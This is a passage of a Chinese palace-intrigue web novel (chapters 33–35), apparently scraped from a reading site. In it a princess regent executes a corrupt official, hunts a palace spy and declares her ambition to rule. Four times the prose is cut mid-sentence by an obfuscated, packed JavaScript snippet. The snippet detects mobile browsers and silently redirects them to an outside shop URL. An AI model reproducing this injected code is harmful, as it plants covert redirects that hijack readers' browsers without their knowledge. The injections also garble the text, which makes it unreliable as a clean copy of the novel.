田诠猛然回头,怒目而视:“姜毓卿,你别高兴得太早。杀了我,你以为裴相会不知道你的企图?你以为你还能在他面前装模作样地示弱?况且二公子为了帮你还搭上了性命,你就这么对我们这么对裴家!裴相不会放过你的,绝对不会放过你的!” “你以为你是谁,没了你,满朝文武有的是人想赖上裴开项。你以为你自己,你们田家有多重要?杀了你,裴开项非但不会要了我的命,他还会立马找好下一家。 “就算裴开项看出来我不顺从他又如何?他不照样只能扶持我?我们本来就是利益相连,只要利益的链条够长,我们再不待见彼此,也能一直相安无事,除非这根链条断了。姜旻不待见他,诸侯王也不待见他,他要保全裴家在朝廷,在大齐的名声,他想出兵讨贼破虏,为求名正言顺,只能与我结盟。他没办法。而你的死,他如今远在天边,更加没办法了。 “我知道这些田租肯定不止你一个人拿了,或许他裴开项口袋里也不少。他若真想保你,早就一封书信寄给裴开岫让他把你救出来了。但是现在所有人都想明哲保身,我不去找他们麻烦,不查到他们的头上,他们就谢天谢地自己逃过一劫,哪还会节外生枝来救你呢?你啊,就是出头鸟、替罪羊,捞的少,死的早。与虎谋皮,蠢货一个。” 看着田诠愈来愈狰狞的脸,越骂心中越畅快,我仰天长叹一声,多年来的郁结一下子纾解:“先帝与太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219959|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的死,你们是罪人;裴仲琊的死,你们也是罪人!还有韦莯,当年你说韦莯难产而死,你真的以为我不知道吗?——她身怀六甲,看见你与庶母私通,被你活活打死。这一笔笔血债,我迟早要你们田家、裴家,全部还清。” “我……我……”田诠瞳孔收缩又放大,两股战战,牙齿哆哆嗦嗦,语不成句,“我……我没有,至少先帝太后之死与我无关,还有……还有裴仲琊的事情和我也无关啊!二公子是自己要引开追兵这才失踪的,怪不得别人啊!” 无名怒火从心底陡然窜上来:“怪不得别人!?若非他裴开项权欲熏心,又怎会做出囚君弑君之事!若非你们助纣为虐为虎作伥,又哪里来的胆子害我母亲!若无这桩桩件件,我和裴仲琊又何至于走到这一步!他又何至于去前线游说!你们做了那么多事,到头来却说跟自己都没有关系?” 怒极反笑,我死死地盯着他:“我会让你知道,这些事和你们有没有关系。” 田诠仿佛是听懂了我的言下之意,突然发了疯似的爬过来,双臂极力伸出铁栅想要抓住我的衣袍:“你不许走,你不能走,你想要做什么!你想要做什么!我弟弟是你的夫君,你一个女人怎敢杀你的夫兄!你不是陛下,你不是皇上,你不可以!你不可以!” 我将衣袍一掀,不让他碰到分毫,笑道:“我现在不是皇帝,并不代表以后不是。田议现在是驸马,并不代表以后还是。就像你如今是活人,也不代表……你明天还是。” - 田诠死了。腰斩。正午时分于菜市口行刑。 听说田冲与田议都没有去亲自殓尸,只是叫家中的奴仆去收拾,放进棺材后便急急下葬了。 刘些刘勉清扫了一大批原治粟内史治下官员,我点名叫太仓令郑辽留下,余下随他们安排。 不多日,楚国韦氏来信——是韦莯的母亲冉玄。自韦莯故去那年匆匆一面,我便再没有见过她。那时的她尚不足四旬,却一夜白头,形容枯槁,犹如老妪。灵堂里,哭声、颂歌声、祷祝声,混乱不堪,只有她静静地凝望着棺椁中苍白无声的女儿。 “太可怜了,不过是丈夫要纳个妾,如此寻常之事有什么好寻短见的呢?” “所以说女人肚量要大点,说什么宰相肚里能撑船,我看女人的肚子里才是要乘船呢。” “田家,多富贵的人家,田大郎多好的前程啊。哎……可惜了可惜了……” 无人在意韦莯真正的死因,他们掩盖了真相,把她包装成一个妒妇、愚妇、怨妇,这样她的死,她的一切所作所为都有了合理的出口,无人再愿意去深究。 可冉玄不信韦莯是自戕,以至于在这五年里,人们开始把她当做疯子——一个失去女儿的疯母亲。合情合理。 如今,她终于可以摘去这个无端扣在她的身上的枷锁,将自己从五年前的光阴中解救出来。 楚国寄来的书信就短短一截书帛,我不过瞟一眼便能看完,却是如何都放不下手,纸短情深,力透纸背—— “百求鬼神,终得因果。小女瞑目,老身无憾。但为殿下,肝脑涂地。” 33. 第 33 章 裴开项的失败让所有人都始料未及。大军凯旋,裴大将军骑着大马走在最前面,本是胜利,百姓们夹道欢迎应该欢呼,但是在看见裴开项的瞬间声音又降下去一些。 我站在未央宫墙上,看着浩浩荡荡走,浩浩荡荡回的军队,心中本该雀跃开心,可我少了一个能够同我分享这份心情的人。 犒军宴与其说是嘉奖全军,不如说是变成了宋君若和裴林琅的恭维吹捧宴。文臣武将先敬过我与阿旻,再一个个去敬宋君若和裴林琅。觥筹交错,二人喝得酩酊大醉,面色潮红。 我让侍女送他们去偏殿休息。宋君若却有些不情愿,挣开侍女的手,端着酒盏走到我面前。眼眸被酒醉熏过后亮晶晶的,他看着我,好似丝线将我缠住。他完全无视了我身边的姜旻。 “臣多谢殿下……伯乐之恩……谢殿下信任、抚爱、庇佑……臣无先帝、太后、殿下,无以至今日。愿以身铸剑,执殿下手中,为殿下斩尽奸佞、开疆拓土,造海晏河清,开万世太平。” 言辞囫囵,情意真切,他注视着我,我也看着他,举起酒爵虚虚一敬:“宋将军怕是喝多了,说的应当是陛下吧。但宋将军为君为国为民之心,本宫与陛下都明白。” 热酒入喉,宋君若也一饮而尽。他抹了一把眼角的泪,不知是被酒辣的还是情到深处的情难自抑。他被扶了下去,我在一次举起酒爵,拉着迷迷糊糊的姜旻站了起来。 “今日是诸位的喜宴,更是我大齐的喜宴。正是诸位将军在前线的枕戈饮血、舍身为国,才有今日百姓之安居,大齐之太平。本宫与陛下,敬诸位将军一杯。” “谢陛下——谢殿下——” 众将士豪饮,我再斟一杯:“多少将士背井离乡、马革裹尸,为的就是大齐不再受阿勒奴的欺辱与践踏。自高祖皇帝至今,阿勒奴与大齐血海深仇誓不能忘,我们更不能忘了,前线那么多大齐的好儿郎是因为什么死的!姜融姜琰私通外敌,妄图两面夹击长安,置长安于险境而谋朝篡位。他们甚至勾结原治粟内史田诠私吞田租、贪赃枉法,是他们的不臣之心将整个大齐再次拖入战火。 “乱臣贼子乃祸国殃民之源,如今这些人皆已伏诛,是诸位的功劳,本宫重重有赏!也愿诸位日后心系国朝,赤心报国,为我大齐肱骨良臣,为我大齐再创盛世!” 将士们一番热血再次激荡。宋君若与裴林琅虽不在场,但我点了他们的名——正是封官的好时候。宋君若一直以来都以公主之子的身份寄居宫中,如今也该是给他名正言顺留在长安的理由了。他值得。 至于裴林琅…… 我看向坐在上首沉默不言的裴开项,除了宋君若陈词他抬眼看了几眼,便再也没有其他反应。 裴林琅是我对付他的一剂猛药。 人人心怀鬼胎的裴家,跌下云端的主君,新起之秀的晚辈和……消失的继承人。 廉颇老矣,尚能饭否? 他失途迷路的消息传至长安起,便有无数的长安子民叩问着这句话——他还年轻吗?他还能继续征战沙场吗?他还耳聪目明能够执掌朝局吗? 若说曾经的裴开项在我心中是供奉于神坛的百胜武神,但如今一道惊雷劈下,神像裂开了一条缝。 我是个想上神台吃点贡品的凡人,守庙人想托举我让我上去,而我却被武神一掌打了下去,连守庙人也是殃及池鱼。 我要打碎着神像,守庙人央求我不要,神像碎了他也就要离开了。 那我会不打碎那神像吗? 不。 我会。 - 宋君若被封为光禄左中郎将,裴琳琅为光禄丞。裴相领兵辛苦,田家搜查之事也被高高举起轻轻放下。上朝时,我当着众臣的面询问裴开项这样是否妥帖。裴开项抬眼看看我,默认。 “裴家果然人才辈出。”我看着他,“不仅是小裴将军,还有令郎……” 朝上无人说话,裴开项的眼眸凌厉混浊,与我隔帘相望。 我不知道是我更伤心些,还是他更伤心些。 他的脸上没有表情,而我也僵硬着。 “江东路远,但微臣还是恳请殿下能加派些人马前去寻找,若是……那他也是为国捐躯,死得其所。”平淡的语气,体面的言辞,不可捉摸的情绪和难以言明的想法。 我强忍着鼻尖的酸意,深吸一口气,笑道:“本宫已派出三十亲卫,并通传广陵、淄川等郡国一同寻找。裴二郎……吉人自有天相,一定找得到的。” 未央宫似乎又恢复了它本该有的宁静。刘勉新任治粟内史,很是卖力,将多年的国库账册重新筹算,一卷一卷放到我的桌上。年关将近,又恰逢战事出歇,太常送来了祈福辟邪祭祀的议程,加之新一年举孝廉、修坝、修长城、农桑等事宜,广明殿和彤管阁的竹简书帛只见垒高不见下降。 上朝、批奏疏、吃饭、睡觉,规律又忙碌的日子让我上瘾——我无法再去想别的事情。我好像又回到了打仗时等消息的状态,远方没有书信寄来,就是最好的消息。 我在宫外给宋君若开一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222428|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间府,宋君若却不愿意搬出去,借口光禄勋府衙设在禁中,他若住在宫外,公务十分不便。 我骂他狡辩,我明明特意给他挑了最好最近的位置,从宋府到光禄勋府衙的距离比广明殿都短,他竟然睁眼说瞎话觉得不方便,完全就是在否认我对他的关心。 “你是不是故意要我搬出去的?”宋君若直截了当地质问我,“你现在不想和我带在一起了?就因为我胆子大了?” “是你长大了。”我用手指抵开他近在咫尺的脸,“你不一直希望我承认你长大了吗?这就是最好的证明。离开长辈,独当一面。” “你不是长辈。”宋君若注视着我的眼睛,他的眼中有委屈和不甘。眼睫垂下,嘟嘟囔囔,“我知道你为什么让我走……我、我……姐姐!” “没有因为什么也没有因为谁,就只是因为你立了功,长大了,还封了官。即便我是长公主执掌朝政,但外官我不可能时时会见,你若同住广明殿,结交朝中官员必定不方便。你现在需要的不是我的保护,而是扎根生长、丰满羽翼,早日找到自己在朝中的位置,然后再想办法往上爬。” 宋君若张了张嘴欲言又止:“我……”他看了看我,显然是把话听进去了,“我知道。” 我拍拍他的肩膀:“懂就好,不要浪费姐姐的一片苦心啊。” “但我也知道你不仅仅只有这个理由。”他的语气笃定,毫不避讳地看着我,“我的那些心思我不说你肯定也知道,何况说再多的话也比不过实实在在地为你打一场胜仗。你的心由你自己做主,但是我的心是由我自己做主的,你只需要看着我就行。” 他老是这样,拉着我的手,说着一些令人着迷又无法抗拒的话。他的年轻与赤诚令人感怀,可他的莽撞与不定令我不安。 我不知道该说什么,只是摩挲着他的手,一寸寸地描摹着他手上的茧子。 这个弟弟是让人安心放心的,可我另外一个弟弟却让任何人头疼——他的药瘾越来越重,每晚侍奉的女子也越来越多。少府向我上呈他的每日花销,看得我眼睛都在流血。他甚至趁我政务战事缠身之时,将国库里的阿芙蓉尽数拿光,分与麟趾殿所有侍从。 烟雾缭绕,吞云吐雾,好好的一个麟趾殿变得乌烟瘴气。我叫去的太医也被一个个赶了出来。 实在是太不成体统,我叫萱萱去把肖溪叫来——是时候管管他了。虽然我期望他软弱无能,但我如今需要他立在我的身后,只要身后。 可我没想到的是,肖溪不见了。 34. 第 34 章 我叫亲卫翻遍了整个未央宫都没能找到肖溪。如此森严的宫殿,她却凭空消失了。 我跑到麟趾殿质问姜旻,可他却不以为意,仍旧声色犬马,纵情歌舞。 “我这宫中这么多的侍女,为何姐姐就对肖溪另眼相待?是我其他的女人长得不好看吗?” “别告诉我你不知道她是谁的人。” 姜旻眸色一暗,阴恻恻地瞥向我:“我知道啊。我就是因为知道才装着那么喜欢她,那么在乎她来恶心你的,你不知道吗?” 我在心里翻了个白眼:“就你那样也配叫喜欢和在乎?” “是——”他拖长着声音,似是调侃揶揄,“再怎么喜欢,也不会像姐姐和裴仲琊……哦不是,现在应该是换人了,换成我的表哥宋君若了吧?权力的滋味不错吧?这么多男人为你前仆后继。” “她为什么消失?”我懒得和他掰扯,直截了当地问道,“你肯定知道她在哪里,为什么不见。如果你不知道早就派人去找了,还会这么悠哉?姜旻,你最好和我说实话!” “我不知道。”他说得轻飘飘的。 我深吸一口气:“你最好祈祷不是我不想发生的事情。” 姜旻没有回应,只是将酒斟满,一饮而尽。 “殿下。”萱萱带着一对彤管使从麟趾殿的偏殿出来,手中是几根落灰的月事条。 姜旻瞳孔一震,酒爵落地,半撑起身子猛地探过来。他死死地盯着我,我瞥了他一眼,转头就对萱萱说:“关闭宫门,彻夜搜查,不找出来,不开宫门!” “姜毓卿!!!”姜旻嘶声大喊。 “你!愚蠢至极!自大至极!若日后你我、阿若、彤管阁所有人被五马分尸,那就是你姜旻一人之过!”怒火中烧,我朝着亲卫大吼,“即日起锁闭麟趾殿,任何人没有我的允许不许出殿。违令者死,格杀勿论!” “姜毓卿,你就非要做的那么绝!”姜旻的声音从后传来,穿过整个麟趾殿像刀一般刮进我的耳朵里。 我根本不屑回头看他,大手一挥:“锁门!” “咚”! 麟趾殿的大门沉重地合上。我指挥萱萱兵分三路,着重搜查掖庭,有问出小宫女们所知道的存在于未央宫的所有狗洞,一个个严加把手,就不信找不到肖溪的人。 姜旻竟敢把裴开项的人放出宫,还是个怀孕的女人!他简直就是把我们所有人的性命都交给裴开项。我根本无法想象皇子落到裴开项手中,他会做出多么疯狂的事,会有怎样的后果。他甚至刚刚战败,失去独子! 为一己之私,姜旻竟如此愚蠢糊涂! 我无法不闻不问,褪去曲裾换了一身轻便的衣服,领着陈蕴和一种亲卫将太液池翻了个底朝天。太液池毗邻掖庭,掖庭宫阙众多,巷道曲折,而太液池假山林立,树木葱郁,都是藏身的好地方。未央宫后宫与前朝守卫森严,寻常人没有令牌根本出不去,能藏身的只有这里! 黑暗中太液池水被月光照得发亮,湖面微澜,看不清底下暗潮汹涌。冬日的寒意缠绕着我,我注视着夜色中的每一处动静。忽然,鸟雀惊奇,树影攒动,一个黑影朝着远处跑去。 “追!”一声令下,亲卫高举着火把纷纷向前跑去。 我拉着陈蕴快步跟在后面,只见一个瘦削女子四脚并用爬上了假山,那假山怪石嶙峋,几无落脚之地。她颤颤巍巍地起身,好似风一吹就会滚下去。 “你们别过来!”肖溪的哭声在黑夜中尤为凄厉,“不要过来……求求你们……不要……”她好像看见了我,想朝我跪下,却没有地方,只得微微弯着背,乞求:“殿下……求求您不要……不要杀我……我会走得远远的,我会走得远远的!” “肖溪,上面太危险了你先下来!”我朝她喊,“我没有要杀你。我若要杀你,早在我知道你是裴家眼线的时候就能杀你。” “殿下,我只是想要个孩子,我真的只是想要个孩子……”肖溪泪眼婆娑,“您放我走吧,我其实根本不想当裴家的眼线。可我没有办法,我父母都事裴家的佃农,如果我不听他们的话,他们就会惩罚我的父母。但我现在在裴家已经没有牵挂了,我父母他们……殿下,求求您,放了我和孩子吧!” 她捂着肚子,好像快碎了。 一个孤苦无依的孤女,一个受人胁迫、无权无势的孤女……我心中一疼,竟是生出了几分感同身受。 “肖溪,你相信我,若我真要杀你,大可叫人放箭,又为何这样苦苦相劝?你不过是个孤女,你的事有很多种解决办法,并不是死局!” “我不想再待在皇宫了!我要离开!”肖溪大喊,“我要跟我的孩子一起离开!你答应我,让我和我的孩子一起离开!” 孩子孩子孩子!满嘴都是孩子!跟一个整日吸食阿芙蓉的男人生下来的孩子能活多久?畸胎死胎的可能倒比活胎大! 肖溪站得离边缘越来越近,我不敢想要是她在我面前摔下去,姜旻与我到底会闹到何种地步。 “好!我留你和你孩子一条性命!” 肖溪眼中的光芒闪了闪,难以置信地问我:“真的?” “真的。只要你下来,答应我永远不再见裴开项。” 肖溪放松神经,双膝慢慢软下来。我示意亲卫赶紧上去将人抱下来,却听肖溪又呢喃着什么。她双目平视前方,眼泪像溪水一样留下来:“我真的……真的还有活下去的可能吗?” “能。”我上前几步,半个身子爬上了假山,向她伸出手,“你跟我回去,从此和裴家一刀两断,我保你活路。” 肖溪泪眼婆娑,眼睛在清冷的月光下凄楚又哀伤,像冰冻湖面上划破的口子:“殿下……我……我……” “肖溪,你先下来!”我心头预感不妙。 铛—— 只见寒光一闪,一把袖刀从我的眼前划过,生生削走几缕眼睫。陈蕴重重地将我推开,脚下失衡,整个人向后仰去。电光火石之间,彤管使横刀斜劈,肖溪胸腔顷刻被鲜血染红。她踉踉跄跄,血从她的口中喷涌而出,混着脸上的泪。她盯着我,眼角滑下最后一滴泪,仰面向后倒去。 咚! 骨头落地,人死灯灭。 - 姜旻在麟趾殿发了疯。掖庭令传话,说陛下整日谩骂嘶吼,口中污言秽语,就连他们这些宦官都听不下去了。 “是不是还骂我了?”我问道。 掖庭令不敢说话,看了看我又低下头。 一传十十传百,这样下去,怕是整个朝廷都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254085|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要知道了。 我心中愤恨,叫上萱萱起身要去麟趾殿,却被陈蕴拉住。 “我同你一起去。”陈蕴深色担忧,“昨夜之事我仍旧心有余悸。肖溪已死,如今不管您说什么,陛下怕都是听不进去的。我一个外人,若能秉公说几句,或许管用。” 昨夜若不是陈蕴在危难之际将我推开,如今我的眼睛怕是已经看不见了。 我点点头:“我这个弟弟阿芙蓉吸得脑子有点不太清醒,若是得罪了你,你能咽下这口气就忍着,若咽不下,就骂回去。别管他是不是皇帝,我大齐开过以来,还没见过他这样的皇帝!” 麟趾殿已经被砸得不像样,我们甫一进去,一个酒爵就砸在了脚边,随之而来的是姜旻暴怒的喊骂声:“姜毓卿你不得好死!!!” 他从大殿内冲出来,彤管使亮出长剑将他挡在我面前。姜旻怒不可遏:“反了!全都反了!我才是皇帝!我才是这座未央宫的主人!你们这些乱臣贼子!乱臣贼子!” “让开。”我下令。 彤管使犹豫不决,我又道:“让开。” 众人纷纷让行,姜旻一步冲到我面前抬手就要打下来。我一把抓住他的手腕高高举起,姜旻整个人被我拎了起来,如同狩猎场上羸弱的幼兔。 我常年骑马习武,姜旻根本不是我的对手。 手越握越紧,姜旻疼得龇牙咧嘴,却是一声不吭。我拖着他走进大殿,将他撂倒在地。众人只敢站在殿外,半分不敢上前。 “你以为那是你的孩子,那只是你的孩子?”我冷笑,“姜旻你太天真了。肖溪是裴家的人,皇子落到裴开项手中,你我还有活路?裴仲琊如今杳无音讯,他面上看着正常,可那是裴开项!谁能知道他心里在想什么!” “姜毓卿!你对我冷漠冷血我认了,可肖溪只是一个弱女子,肚子里的孩子更是无辜的,你就一定要这样赶尽杀绝!” 我绝望地闭上眼睛:“不论你信不信,肖溪不是我杀的。是她要杀我,而后失足坠落假山。” “若你们不追杀她,她会被逼到绝境吗!你就是不想她活着,更不想我有子嗣!”姜旻目眦尽裂,“你想永永远远地掌握权力,你才是最大的逆贼!” 心脏被重重敲击,一直以来不敢言说的事实被姜旻毫无征兆地暴露在阳光下。他看着我,逼迫我承认。 但这根本没什么好逼迫,因为他说的就是我想要的,而我也从来不忌惮他人知道我的野心。 我缓缓蹲下,与他平视。姜旻向后爬了几步,又好似意识打到什么立即停止,倔强地与我对视。 “就算是,你又能奈我何?” 姜旻瞳孔震动,显然没想到我会如此直白的承认。他眼底是恐惧、不甘、难以置信,口中喃喃似呓语:“你……你……你不会得逞的,你绝对不会得逞的……你就是痴心妄想,自古以来永远都是男的当皇帝,从来没有女人当皇帝! “何况你已经嫁人了,根本算不得皇室的人,你只不过是个田家的女人,是臣子不是君!你生下的子嗣也只能姓田,根本不可能姓姜,这是姜家的天下,是我们姜家的! “你就算是抢了我的皇位也于事无补,在你百年之后,还不是需要我、我的孩子来接替你的位置?” 35. 第 35 章 这是陈蕴第四次故意借公务之事来广明殿看我了。 我无奈失笑:“我真的没事。叫她们不必如此担心,还搬些有的没的奏疏来当幌子。” 陈蕴笑着在我身边坐下,从袖中掏出一包糖果递给我:“我出宫买的,是我觉得长安城里最好吃的一家。” 我拆开放了一颗到嘴里,酸味直冲脑门,五官拧在了一起:“好酸!” 陈蕴连忙又递给我一颗:“这个甜这个甜。” 我立即放进嘴里,真是酸上加酸,牙齿舌头直接不要了。 “啊啊啊啊好酸!”我连忙接过陈蕴递给我的水一饮而尽,“这真的是糖吗?” 陈蕴憋着笑点头:“嗯,用枸橼做的糖,他们家的新品。我都还没吃过呢!” “你都还没吃过!?” 陈蕴又从袖子里取出一包糖果:“这个真的是甜的。” “你不许再骗我。”我威胁道,“再骗我,我就把你发配边疆!” “好啊!我正想去呢!听闻在边疆的荒漠草原上能清楚地看见银河,还能躺在草地上看雪山、看苍鹰、看牛羊,正好不回来了。” “那可不行。”我吃了一颗新的,甜到心里,“你们是我的女官,我好不容易把你们找来,自然要让你们给我干一辈子活。” “我倒是真的能陪你。”陈蕴陪着我一起吃糖,“我一点儿都不想嫁人,如今在宫中有这么好的差事,养活自己绰绰有余,何苦成亲生子。可其他人就不一样了,彤管阁这些女官,除了萱萱小蛮和我,其余都是有丈夫孩子的,就算如今没有也难保日后不会嫁人。到时候,若是她们要回归夫家,做起相夫教子的女人,你又怎么强迫她们呢?” 窗外的雪渐渐消融,春天悄悄临近。炭火在我们的脚边烧着,我托着腮,长长叹了口气:“相夫教子……我这几日心情不好,你们也都看出来了。但所有人都觉得我是因为这个不肖弟弟才烦恼,可其实不然……姜旻虽荒唐,但他有一句话点醒了我。他说,在我百年之后,还不是需要他的孩子来接替我的位置。可为什么,明明我们都姓姜,他生下来的孩子就是姜家血脉,而我生下来的他们就觉得不是呢?为什么从我身体里出来的孩子,变成了别人家的血脉,要跟别人家姓呢?” 陈蕴面上错愕,却也听懂了,她低头思忖片刻:“殿下的意思,我此前在别的古籍中看见过。书上说,上古之时,人人只知其母而不知其父,与母舅相伴,所有人同姓同氏,共同谋生,共同抚养家族的孩子。不争权、不分家,血脉相同的家人永永远远地生活在一起。” “没错。前几日我又重读《山海经》,发现女娲抟土造人,她的孩子只知其母而不知其父。但他们仍旧在华胥国里平安祥和地生活着,代代相传,安居乐业。可见国家或是家族的传承并不是只能通过父系,母系亦是可以,甚至比父系更加紧密。 “我们女人用自己的身体创造生命,这几乎等同女娲这样的神灵。从我们肚子里出来的必定是我们的孩子,我的女儿必定是我的女儿,我女儿的女儿必定是我的子孙,我能毫无顾忌地给予她们我的一切;但他们男人呢,根本无法保证他们的孩子就一定是他们的血脉,因为他们无法孕育生命,这是他们与生俱来的致命的缺点。 “所以,姜旻错了。若真要做到江山血脉代代相传,皇室里能做到的,只有我。” 陈蕴被我的话震惊,连我自己也惊讶于有这样的想法,好似神明点化,借我之口在人世间说出这番大逆不道却是真理的话。 “我需要一个女儿。完完全全属于我的女儿。”我看着陈蕴,“我会给予她我的姓氏、我的一切,我所有能抢来的东西我都会给她。没有人能从我身边把她抢走。” 陈蕴沉默了一瞬,却没有反驳我,只是说道:“可你若是诞下田家之子,难保田家不会利用孩子谋取私利。” “不。”我说道,“我会为我的女儿重新挑选值得的父亲。生父,田议不配。” 此话方落,陈蕴好似被定住,半张着嘴巴根本说不出话来。 “你会不会觉得我是个水性杨花,不守妇道的坏女人?觉得我疯了,我不该待在这里,而是应该被关在祠堂、关在太庙,罚跪受戒?” 陈蕴垂下眼眸,几步走到我面前,拉住我的手,眼中是泛动的微光:“我没有那样觉得。若我会这样想,当初就会欢欢喜喜地嫁到裴家,而不是如今在宫里陪着你。你想走的这条路,我理解,但是你也要知道这条路很难走。如今众多大臣虽还听你的话,但大多数的人都认为在陛下成年后,你会或者说你应该把皇位还给他。若日后你要称帝,困难重重,不言而喻。何况还要生下一个同自己姓的孩子,何其艰难?裴家田家乃至朝廷大臣都会变成你的阻碍。” “我知道。”我认真地看着她,“但我已经在这条路上了,我不会甘心再走回头路。你我都品尝过权力的滋味,知道坐在这个位子上是一件多么令人着迷的事情。我们都回不到原点了。” 陈蕴紧紧地握住我的手,注视着我:“要是放在以前,刚回长安的时候,我根本就想不到会有今天这样的日子。我总觉得,我的后半辈子可能只能相夫教子在大宅子里度过。可是没想到未央宫里会有你,是你建立了彤管阁让我们这些女子有安身立命之本,也是因为你我才能逃出我不愿意面对的命运。我也知道,只有你在,我们才能继续有这样的人生。” 两双手交握着,仿若交织的命运。 陈蕴她说道:“我帮你。” - 大齐的春天来了。 冰雪消融,宫苑里的紫藤玉兰白蔷竞相绽放。我叫人剪了几支妆点广明殿,清早起床瞧着,心中颇为舒心畅快。燕子来宫里做了窝,小宫女们开心极了,每日都省出一些口粮来喂它们,还叮嘱它们来年一定要再来。宫里的年味还没过去,宦官们清扫着积雪,混着爆竹硝烟的痕迹一同扫除宫外。玉阶又被擦得锃亮,温暖的阳光洒下,柔和又温润。 江南堤坝修建完毕,江东重新分田,贫农们重获新生,趁着好春光播下新一年的种子。北境阿勒奴撤出百余里,边疆的百姓终于又能安居乐业,安稳度日。 一切好像又恢复了平静。 江东书信频频,却唯独没有我想要的消息。他们战战兢兢,却又不得不报,终于在连发几日“无讯再探”后,递上来一封“殿下身体安康否”的奏疏。 我批了一句“尚可”,便丢下笔起身走到窗外远眺。目之所及,重重宫阙,山峰连绵,不远处宋君若的人影从正宫门外向广明殿走来。 我叫萱萱去殿外候着,不多会儿他们二人便从殿外进来。萱萱声音急切,宋君若确实不声不响。 “殿下!殿下!有位老伯将穿天石交给了宋将军!” 霹雳一声惊雷,我立马从窗边弹起,几步上前将东西拿过来上下左右仔仔细细地看了一遍。 不会有错,绝对不会有错!这是裴仲琊的那块! “阿若,这是谁给你的!”我冲到他面前,“是谁?他还在吗?” 宋君若脸色不霁,将眼睛瞥向一边,冷哼一声:“在,我把他安置在了我们衙门里。” “快,把人请来!” 萱萱应了一声,转身就走。宋君若却是僵在原地不动。 “宋将军!”萱萱喊了一声。 宋君若不动如山,脸色更加不好看了。 我摆摆手让萱萱自己去,笑着走到宋君若身边,拉起他的手:“这件事,姐姐要谢谢你。” 宋君若没有说话,抽开手转身也要走:“不客气。我当值去了。” “阿若!”我喊道。 “姜毓卿,我把这东西给你,是因为不想你伤心,而不是真的希望他回来。”他盯着我,“对,我承认我心里就是有这样恶毒的想法。他是齐国的功臣,于公我心里敬他,但是我作为一个男人,于私,我根本不希望他再出现在你眼前!或者说,他既然要消失,就应该消失得彻彻底底,而不是让你伤心了这么久,连个年都没有过好,突然给一件信物,轻巧地说自己要回来了!那他把你当什么!姐姐!你把他当什么,他把你当什么!” “阿若阿若……”我慌忙拉住他的手,“你别急……” “你让别急?”宋君若的眼中盛着满满的哀伤和委屈,“你叫我怎么能不着急!若还是像以前一样,我们只是姐弟我当然可以说服我自己,但如今……如今……”他没有把话说完,用力地将我的手拉下,在手中紧紧地攥了攥,一下甩开便冲出了殿外。 “殿下,人来……宋将军?”萱萱惊讶地看着宋君若跑出去,一脸不解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266468|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我站在原地,追也不是不追也不是,最后还是让彤管使去跟着看看,有事再来向我禀报。 萱萱领着老伯行礼后坐在大殿下首,我示意上前来。老伯有些惴惴不安,眼神四处飘忽,但还是挪近了几个位置。 “老伯不要害怕,只要你如实详细地回答我的问题,本宫必有重赏,也会派人送您回乡。” 老伯搓着手,朝着讨好地笑笑:“您请问。” “这石头是一个什么样的人给您的?” “长得非常高,生的也很好看,只是我们俩见面的时候他满脸都是泥,但是脸一擦就好看了。我老婆子说那脸白净的跟我们镇上的小娘子似的,尤其是那双眼睛,哎呀那个睫毛长的呀,都能剪一半接在我的眼睛上了。” 我失笑:“那您是怎么遇见他的?他……他是怎么活下来的?” “老头子我是上山砍柴的时候,在山脚下河边看见他的。那天还在下着大雪,他身上又有血,还是野兽抓过的痕迹。我要是不把他带走,他必死无疑。但是……不瞒贵人您,老头子我家中十分贫寒,儿子死了,儿媳跑了,家中就我与老婆子还有五岁的孙女,拢共就二十亩田,每年的收成卖钱,吃穿用度都不够,更别提救人了! “老婆子看我将那公子带回来,整日唉声叹气,但又不想一条人命白白糟蹋,只能靠公子自己熬了。果真是吉人自有天相,那公子瞧着瘦弱,但还真的撑了过来!哎呀,我们可高兴极了! 